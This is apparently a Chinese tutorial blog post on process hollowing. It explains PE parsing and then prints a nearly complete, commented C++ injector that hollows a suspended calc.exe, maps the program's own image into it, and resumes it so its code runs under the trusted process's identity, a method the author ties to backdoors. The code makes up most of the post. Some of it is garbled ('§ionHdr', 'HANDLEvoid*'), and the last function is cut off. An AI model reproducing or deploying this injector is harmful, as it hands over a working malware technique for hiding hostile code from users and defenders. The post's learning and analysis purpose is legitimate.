EXE注入分析之傀儡进程

最近学习PE结构,顺便看到了一篇WIN32 EXE注入的文章,代码是04年的,比较古老了,

但是代码写的很好,受益匪浅,然后在百度很少找到翻译的比较清楚的文章,这篇我在代码中加了中文注释,

方便菜鸟理解,阅读这篇帖子需要熟悉PE结构,如果你不懂PE结构建议你先去学习下,

说错的地方请各位大神指正,板砖吐口水都可以。


--- 我是淫荡的分割线---


提到傀儡进程,首先想到的就是黑客所使用的后门程序了,首先使用CreateProcess传入CREATE_SUSPENDED

创建一个挂起的进程,以下称为傀儡进程,然后使用GetThreadContext读取傀儡进程的上下文信息,通过DWORD

指针指向CONTEXT的EBX,DWORD + 8 字节可以读取到傀儡进程的基地址,然后计算傀儡进程的镜像大小

然后把自己的数据读入到傀儡进程内,设置CONTEXT上下文入口点信息EAX,并恢复进程主线程。说白了就是使用

傀儡进程的外壳来执行自身的恶意代码。


下面使用步骤详细说明下,然后对照源代码看比较清楚些!

 注意:程序默认注入的进程为计算器 傀儡进程为A进程,自身进程为B文件

 当然这样说比较蛋疼,因为他是从你命令里面读取其他文件信息来注入到傀儡进程的,

这里我就把自身进程当作B进程,不从控制台接收exe信息,直接使用GetModuleFileName

函数来获取自身,这样方便理解!


1、使用fopen来读取B文件,返回FILE指针

2、使用C语言函数读取B文件的DOS FILE OPTIONAL SECTION等数据结构信息

3、获取B文件载入内存所需要的镜像大小 模除取余

4、使用VirtualAlloc申请B文件镜像大小初始化为0内存空间

5、把B文件读入到申请的内存空间中,并指针后移 [因为需要内存对齐]

6、使用CreateProcess创建一个挂起的傀儡进程并获取CONTEXT线程上下文信息

7、使用DWORD 指针指向CONTEXT->EBX,此时指针 + 8字节指向傀儡进程基址

8、使用VirtualQueryEx MEMORY_BASIC_INFORMATION结构来获取从傀儡进程基址 到末尾 得到傀儡进程镜像大小

9、如果傀儡进程的镜像大小 大于或等于 B进程的,并且他们的基地址相同,那么使用VirtualProtectEx设置从基地址到镜像大小这块内存为可读可写

10、否则需要卸载傀儡进程内存空间的数据,传入的参数为傀儡进程基址与镜像大小并在傀儡进程重新申请B进程镜像大小的内存空间

11、把在傀儡进程中重新申请的内存空间地址,写入到傀儡进程的基地址【重要】

12、把B文件已经读取到内存的数据,写入到傀儡进程中

13、设置傀儡进程的EAX指向B进程已经覆盖过数据的入口点

14、设置傀儡进程的线程上下文信息

15、ResumeThread恢复傀儡进程的主线程,以此达到使用傀儡进程的外壳来执行自身恶意代码的行为


注:其实这里面省略了一个步骤,那就是步骤10往后的一个地方,说ZwUnmapViewOfSection卸载失败以后

可能是存在重定位信息,但是EXE一般不会有重定位信息,因为exe首先被加载到属于自己的虚拟4GB空间,

然后他的判断是检测IMAGE_OPTIONAL_HEADER的IMAGE_DATA_DIRECTORY成员变量,这个是一个数据结构

索引为5的地方是重定位信息,判断他的地址与大小是否为0,来决定是否需要重定位信息。


以下代码我加了中文注释,并把原先的代码重新写了一遍,也方便自己来理解作者为何要这么写。

  1. // H文件  
  1. #define dosHdrlen      sizeof(IMAGE_DOS_HEADER)  
  2. #define ntHdrslen      sizeof(IMAGE_NT_HEADERS)  
  3. #define fileHdrlen     sizeof(IMAGE_FILE_HEADER)  
  4. #define optionHdrlen   sizeof(IMAGE_OPTIONAL_HEADER)  
  5. #define sectionHdrlen  sizeof(IMAGE_SECTION_HEADER)  
  6.   
  7. typedef struct _PROCINFO   
  8. {  
  9.     unsigned long ulBaseAddr;  
  10.     unsigned long ulImageSize;  
  11. }PROCINFO, *PPROCINFO;  
  12.   
  13. int  RunInjectProcess();  
  14. int  getAlignedSize(unsigned long curSize, unsigned long alignment);  
  15. int  calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);  
  16. bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);  
  17. bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);  
  18.   
  19.   
  20. void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);  
  21. bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo);  
  22. bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr);  

  1. int RunInjectProcess()  
  2. {  
  3.     char szInject[MAX_PATH];  
  4.     GetModuleFileNameA(NULL, szInject, MAX_PATH);  
  5.     if (strstr(szInject, "calc.exe") != 0)  
  6.         return 0;  
  7.   
  8.     FILE *fp;  
  9.     fopen_s(&fp, szInject, "rb");  // 文件指针  
  10.   
  11.     if (fp)  
  12.     {  
  13.         IMAGE_DOS_HEADER      dosHdr;  
  14.         IMAGE_FILE_HEADER     fileHdr;  
  15.         IMAGE_OPTIONAL_HEADER optionHdr;  
  16.         PIMAGE_SECTION_HEADER sectionHdr;  
  17.   
  18.         // 读取文件PE数据结构  
  19.         if (readPEInfo(fp, &dosHdr, &fileHdr, &optionHdr, §ionHdr))  
  20.         {  
  21.             // 计算PE文件镜像大小  
  22.             int  ImageSize = calctotalImageSize(&fileHdr, &optionHdr, sectionHdr);  
  23.             // 申请内存空间 大小为自身的ImageSize 初始化为0并可读可写  
  24.             void *lptrloc = VirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
  25.             if (lptrloc)  
  26.             {  
  27.                 // 载入自身到内存空间  
  28.                 loadPE(fp, lptrloc, &fileHdr, &optionHdr, sectionHdr);  
  29.   
  30.                 // 创建傀儡进程  
  31.                 doFork(lptrloc, ImageSize, &dosHdr, &fileHdr, &optionHdr, sectionHdr);  
  32.             }  
  33.             else  
  34.                 return false;  
  35.         }  
  36.     }  
  37.     else  
  38.         return 1;  
  39.   
  40.     return 0;  
  41. }  
  42.   
  43. bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)  
  44. {  
  45.     // 偏移指向文件末尾  
  46.     fseek(fp, 0, SEEK_END);  
  47.     long uFileSize = ftell(fp); // 获取文件大小  
  48.     fseek(fp, 0, SEEK_SET);     // 指向文件头  
  49.   
  50.     // 判断文件是否小于DOS头+NT头结构  
  51.     if (uFileSize < (dosHdrlen + ntHdrslen))  
  52.     {  
  53.         printf("file size too small.\n");  
  54.         return false;  
  55.     }  
  56.   
  57.     // 读取DOS头数据结构并校验MZ签名  
  58.     fread(dosHdr, dosHdrlen, 1, fp);  
  59.     if (dosHdr->e_magic != 0x5a4d)  
  60.     {  
  61.         printf("the file not MZ signature.\n");  
  62.         return false;  
  63.     }  
  64.   
  65.     // 偏移指向 dosHdr->e_lfanew 校验PE00签名  
  66.     unsigned long uPE00 = 0;  
  67.     fseek(fp, dosHdr->e_lfanew, SEEK_SET);  
  68.     fread(&uPE00, sizeof(unsigned long), 1, fp);  
  69.     if (uPE00 != IMAGE_NT_SIGNATURE)  
  70.     {  
  71.         printf("the file not pe00 signature.\n");  
  72.         return false;  
  73.     }  
  74.   
  75.     // 读取FILE数据结构信息  
  76.     fread(fileHdr, fileHdrlen, 1, fp);  
  77.     if (fileHdr->SizeOfOptionalHeader != optionHdrlen)  
  78.     {  
  79.         printf("unexpected win32 pe file.\n");  
  80.         return false;  
  81.     }  
  82.   
  83.     // 读取OPTIONAL可选头信息   
  84.     fread(optionHdr, optionHdrlen, 1, fp);  
  85.   
  86.     // 校验WIN32或者WIN64应用程序  
  87.     if (optionHdr->Magic != 0x10b && optionHdr->Magic != 0x20b)  
  88.     {  
  89.         printf("the fuck not win32 or win64 pe file.\n");  
  90.         return false;  
  91.     }  
  92.   
  93.     // 读取节表信息[区段表],总数为file-numberofsection中指定  
  94.     // 申请内存读取节表信息  
  95.   
  96.     *sectionHdr = new IMAGE_SECTION_HEADER[fileHdr->NumberOfSections];  
  97.     if (*sectionHdr)  
  98.     {  
  99.         memset(*sectionHdr, 0, sectionHdrlen * fileHdr->NumberOfSections);  
  100.         fread(*sectionHdr, sectionHdrlen * fileHdr->NumberOfSections, 1, fp);  
  101.     }  
  102.     else   
  103.         return false;  
  104.   
  105.     return true;  
  106. }  
  107.   
  108. int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)  
  109. {  
  110.     int nRetval = 0;  
  111.   
  112.     // 获取PE文件在内存中所需要的对齐值 WIN32 为4096字节  
  113.     int alignment = optionHdr->SectionAlignment;  
  114.   
  115.     // 判断 DOS + NT + SECTION表的大小  
  116.     // 总大小取余内存对齐值 如果为0则说明已经对齐  
  117.     // 否则总大小除以内存对齐值 然后++之后乘以内存页对齐值  
  118.   
  119.     if (optionHdr->SizeOfHeaders % alignment == 0)  
  120.         nRetval += optionHdr->SizeOfHeaders;  
  121.     else  
  122.     {  
  123.         int val = optionHdr->SizeOfHeaders / alignment;  
  124.         val ++;  
  125.         nRetval += (val * alignment);  
  126.     }  
  127.   
  128.     // for循环来处理每个区段在内存中所占的内存大小  
  129.     for (short i = 0; i < fileHdr->NumberOfSections; i++)  
  130.     {  
  131.         if (sectionHdr[i].Misc.VirtualSize)  
  132.         {  
  133.             if (sectionHdr[i].Misc.VirtualSize % alignment == 0)  
  134.                 nRetval += sectionHdr[i].Misc.VirtualSize;  
  135.             else  
  136.             {  
  137.                 int val = sectionHdr[i].Misc.VirtualSize / alignment;  
  138.                 val ++;  
  139.                 nRetval += (val * alignment);  
  140.             }  
  141.         }  
  142.     }  
  143.   
  144.     return nRetval;  
  145. }  
  146.   
  147. int getAlignedSize(unsigned long curSize, unsigned long alignment)  
  148. {     
  149.     if(curSize % alignment == 0)  
  150.         return curSize;  
  151.     else  
  152.     {  
  153.         int val = curSize / alignment;  
  154.         val ++;  
  155.         return (val * alignment);  
  156.     }  
  157. }  
  158.   
  159. bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)  
  160. {  
  161.     // 指针指向PE偏移0字节  
  162.     fseek(fp, 0, SEEK_SET);  
  163.     char *outPtr = (char *)lptrloc; // 强制转换指针  
  164.   
  165.     unsigned long i;  
  166.     unsigned long headerSize = optionHdr->SizeOfHeaders; // 读取头数据大小  
  167.   
  168.     // UPX压缩以后节表的首个指向原始数据的长度为0  
  169.     // 主要是为了读取整个头大小来查找偏移地址的  
  170.     for (i = 0; i < fileHdr->NumberOfSections; i++)  
  171.     {  
  172.         if (sectionHdr[i].PointerToRawData < headerSize)  
  173.             if (sectionHdr[i].PointerToRawData > 0)  
  174.                 headerSize = sectionHdr[i].PointerToRawData;  
  175.     }  
  176.   
  177.     // 读取PE头数据到申请的内存空间中  
  178.     unsigned long readSize = fread(outPtr, 1, headerSize, fp);  
  179.     if (readSize != headerSize)  
  180.     {  
  181.         printf("read header outPtr error.\n");  
  182.         return false;  
  183.     }  
  184.   
  185.     // for循环读取节表到内存空间中  
  186.     // 因为需要内存对齐,所以内存指针需要后移内存页倍数的值  
  187.   
  188.     outPtr += getAlignedSize(optionHdr->SizeOfHeaders, optionHdr->SectionAlignment);  
  189.   
  190.     // 读取节表数据到内存空间  
  191.     for (i = 0; i < fileHdr->NumberOfSections; i++)  
  192.     {  
  193.         //printf("sectionHdr[i].SizeOfRawData %d\n",sectionHdr[i].SizeOfRawData);  
  194.         //printf("sectionHdr[i].VirtualSize %d\n",sectionHdr[i].Misc.VirtualSize);  
  195.         //printf("sectionHdr[i].PointerToRawData %d\n",sectionHdr[i].PointerToRawData);  
  196.         //putchar('\n');  
  197.         if (sectionHdr[i].SizeOfRawData > 0)   
  198.         {  
  199.             unsigned long toRead = sectionHdr[i].SizeOfRawData;  
  200.             if (toRead > sectionHdr[i].Misc.VirtualSize)    
  201.                 toRead = sectionHdr[i].Misc.VirtualSize;  
  202.   
  203.             // 设置PE在磁盘中的数据偏移地址  
  204.             fseek(fp, sectionHdr[i].PointerToRawData, SEEK_SET);  
  205.             readSize = fread(outPtr, 1, toRead, fp);  
  206.   
  207.             if(readSize != toRead)  
  208.             {  
  209.                 printf("reading section error %d.\n", i);  
  210.                 return false;  
  211.             }  
  212.   
  213.             // 指针后移内存对齐的倍数  
  214.             outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);  
  215.         }  
  216.         else  
  217.         {  
  218.             // UPX压缩以后的第一个节 如UPX0节的大小是为0  
  219.             // 所以直接后移内存对齐字节的倍数  
  220.   
  221.             if(sectionHdr[i].Misc.VirtualSize)  
  222.                 outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);  
  223.         }  
  224.     }  
  225.   
  226.     return true;  
  227. }  
  228.   
  229. void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)  
  230. {  
  231.     CONTEXT      threadCxt; // 线程上下文  
  232.     PROCINFO     proceInfo; // 傀儡进程基址与镜像大小  
  233.     PROCESS_INFORMATION pi; // 进程参数  
  234.   
  235.     // 创建傀儡进程并取得基址与镜像大小  
  236.     if (createProcInfo(&pi, &threadCxt, &proceInfo))  
  237.     {  
  238.         void *pBaseAddr = NULL; // 内存指针  
  239.   
  240.         // 如果傀儡进程与自身进程基址相等 并且傀儡进程镜像大小大于等于自身  
  241.         // 则设置这块内存为可读可写属性  
  242.         if (optionHdr->ImageBase == proceInfo.ulBaseAddr && ImageSize <= (int)proceInfo.ulImageSize)  
  243.         {  
  244.             pBaseAddr = (void*)proceInfo.ulBaseAddr;  
  245.             VirtualProtectEx(pi.hProcess, (void*)proceInfo.ulBaseAddr, proceInfo.ulImageSize, PAGE_EXECUTE_READWRITE, NULL);  
  246.         }  
  247.         else  
  248.         {  
  249.             // 否则卸载傀儡进程的内存数据  
  250.             if (unloadImage(pi.hProcess, proceInfo.ulBaseAddr))  
  251.             {  
  252.                 // 在傀儡进程中重新申请内存空间,从自身的镜像基址开始申请,大小为自身的镜像大小 属性可读可写  
  253.                 pBaseAddr = VirtualAllocEx(pi.hProcess, (void*)optionHdr->ImageBase, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
  254.                 if (pBaseAddr)  
  255.                 {  
  256.                     printf("mem for new exe %x\n",(unsigned long)pBaseAddr);  
  257.                 }  
  258.             }  
  259.         }  
  260.   
  261.         // 这里原先是一个重定位操作,由于EXE不需要重定位操作 故此忽略  
  262.   
  263.         if (pBaseAddr)  
  264.         {  
  265.             // 把重新申请的空间地址写入到傀儡进程基址  
  266.             unsigned long ulWritten;  
  267.             unsigned long *ulPEBInfo = (unsigned long*)threadCxt.Ebx;  
  268.             WriteProcessMemory(pi.hProcess, &ulPEBInfo[2], &pBaseAddr, sizeof(void*), &ulWritten);  
  269.   
  270.             // 把自身的数据写入到傀儡进程中  
  271.             if(WriteProcessMemory(pi.hProcess, pBaseAddr, (LPCVOID)lptrloc, ImageSize, &ulWritten))  
  272.             {  
  273.                 // 设置上下文信息  
  274.                 threadCxt.ContextFlags = CONTEXT_FULL;  
  275.   
  276.                 // 如果申请的基地址 等于原来傀儡进程的基地址 则从自身的0x0040000处 + 入口点地址  
  277.                 // 否则从申请的内存数据地址 + 入口点地址 为RVA   
  278.                 if ((unsigned long)pBaseAddr == proceInfo.ulBaseAddr)  
  279.                 {  
  280.                     threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;  
  281.                 }  
  282.                 else  
  283.                 {  
  284.                     threadCxt.Eax = (unsigned long)pBaseAddr + optionHdr->AddressOfEntryPoint;  
  285.                 }  
  286.   
  287.                 // 设置傀儡进程的线程上下文信息  
  288.                 SetThreadContext(pi.hThread, &threadCxt);  
  289.                   
  290.                 // 恢复主线程执行  
  291.                 ResumeThread(pi.hThread);  
  292.             }  
  293.         }  
  294.     }  
  295.     else  
  296.     {  
  297.         printf("create puppet process failure %d\n", GetLastError());  
  298.     }  
  299. }  
  300.   
  301. #define TPROCEXE  _T("c:\\windows\\system32\\calc.exe")  
  302.   
  303. //************************************************************************  
  304. //   
  305. // lkd> dt_peb  
  306. // nt!_PEB  
  307. // +0x000 InheritedAddressSpace    : UChar  
  308. // +0x001 ReadImageFileExecOptions : UChar  
  309. // +0x002 BeingDebugged            : UChar  
  310. // +0x003 BitField                 : UChar  
  311. // +0x003 ImageUsesLargePages      : Pos 0, 1 Bit  
  312. // +0x003 SpareBits                : Pos 1, 7 Bits  
  313. // +0x004 Mutant                   : Ptr32 Void  
  314. // +0x008 ImageBaseAddress         : Ptr32 Void *这里是PEB结构 + 8 字节的地方  
  315. //  
  316. //************************************************************************  
  317.   
  318. bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo)  
  319. {  
  320.     STARTUPINFO si = {0};  
  321.     si.cb = sizeof(si); // 初始化SI结构大小  
  322.   
  323.     // 创建挂起的傀儡进程  
  324.     if (CreateProcess(TPROCEXE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))  
  325.     {  
  326.         // 获取线程CONTEXT上下文信息  
  327.         pthreadcxt->ContextFlags = CONTEXT_FULL;  
  328.         GetThreadContext(pi->hThread, pthreadcxt);  
  329.   
  330.         // 从傀儡进程句柄 PEB结构 + 8 字节获取进程加载基址  
  331.         unsigned long *ulPebInfo = (unsigned long *)pthreadcxt->Ebx;  
  332.         ReadProcessMemory(pi->hProcess,  &ulPebInfo[2], (void*)&(outPorceInfo->ulBaseAddr), sizeof(u_long), NULL);  
  333.           
  334.         // 临时变量用来计算镜像大小  
  335.         unsigned long ulmemAddr = outPorceInfo->ulBaseAddr;  
  336.   
  337.         MEMORY_BASIC_INFORMATION memInfo;  
  338.         memset(&memInfo,0,sizeof(memInfo));  
  339.   
  340.         // 从进程的EBX+8开始读取镜像基址  
  341.         // memInfo->BaseAddress指向ulBaseAddr下一个边界  
  342.         // memInfo->RegionSize指向内存块的大小从BaseAddress开始计算  
  343.         // memInfo->State页面空闲状态MEM_FREE  
  344.         // 从进程加载的基地址空间来读取内存页的状态  
  345.         // 起始进程地址 + 每个页面的大小   
  346.   
  347.         while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))  
  348.         {  
  349.             if (memInfo.State == MEM_FREE)  
  350.                 break;  
  351.             ulmemAddr += memInfo.RegionSize;  
  352.         }  
  353.   
  354.         // 末尾大小减去起始地址 等于EXE加载到进程地址空间中的镜像大小  
  355.         // 进程挂起状态下的  
  356.         outPorceInfo->ulImageSize = ulmemAddr - outPorceInfo->ulBaseAddr;  
  357.         printf("poutPorcInfo->ulImageSizex %d.\n",outPorceInfo->ulImageSize);  
  358.     }  
  359.     else  
  360.         return false;  
  361.   
  362.     return true;  
  363. }  
  364.   
  365. bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr)  
  366. {  
  367.     typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLEvoid*);  
  368.     PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;  
  369.   
  370.     HMODULE hInst = LoadLibrary(_T("ntdll.dll"));  
  371.     if (hInst)  
  372.     {  
  373.         ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");  
  374.         if (ZwUnmapViewOfSection)  
  375.         {  
  376.             ZwUnmapViewOfSection(hProcess, (void*)&ulBaseAddr);  
  377.         }  
  378.   
  379.         FreeLibrary(hInst);  
  380.         return true;  
  381.     }  
  382.   
  383.     return false;  

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值